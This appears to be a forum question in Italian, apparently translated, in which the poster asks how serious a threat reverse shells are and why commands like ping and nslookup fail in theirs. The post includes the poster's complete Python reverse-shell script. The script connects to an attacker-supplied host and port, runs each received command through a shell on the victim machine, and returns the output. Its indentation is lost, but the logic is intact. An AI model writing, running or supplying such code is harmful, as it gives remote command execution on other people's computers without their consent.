Sto lavorando su un semplice oggetto reverse-shell in Python. Può accettare e interpretare i comandi su una shell generata sulla vittima. Sfortunatamente non supporta funzionalità come ping, traceroute, nbtstat (per macchine Windows), nslookup (anche per Windows), per ragioni che non capisco abbastanza bene. La mia domanda è, quanta parte di una minaccia sono questi reverse-shell in una rete? Sembrano banali nel senso che un utente standard dovrebbe (e dovrebbe) avere i propri privilegi limitati, quindi non si può davvero fare del male, e la shell inversa sembra qualcosa che si potrebbe passare a casa di un amico e collegarsi al suo computer per verifica teorica. Inoltre, i collegamenti a ulteriori letture sarebbero apprezzati; gli attacchi "inside-out" mi interessano davvero. thingy: Ah scusa dimenticavo di includere il "coso":)
#! /usr/bin/python3
import socket, subprocess, os
from sys import argv
script, host, port = argv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((str(host), int(port)))
except ValueError as err:
print ("You entered the wrong host / port combination or something...")
print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
print ("Socket error of some sort...")
print ("Here is the error message:\n\n\n{}".format(err))
while True:
s.send("Command: ".encode("utf-8"))
comm = s.recv(4096)
comm = comm.decode("utf-8")
print (comm)
if comm[:2] == "cd":
os.chdir(comm[3:].rstrip())
p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
s.send(p.stdout.read().encode("utf-8"))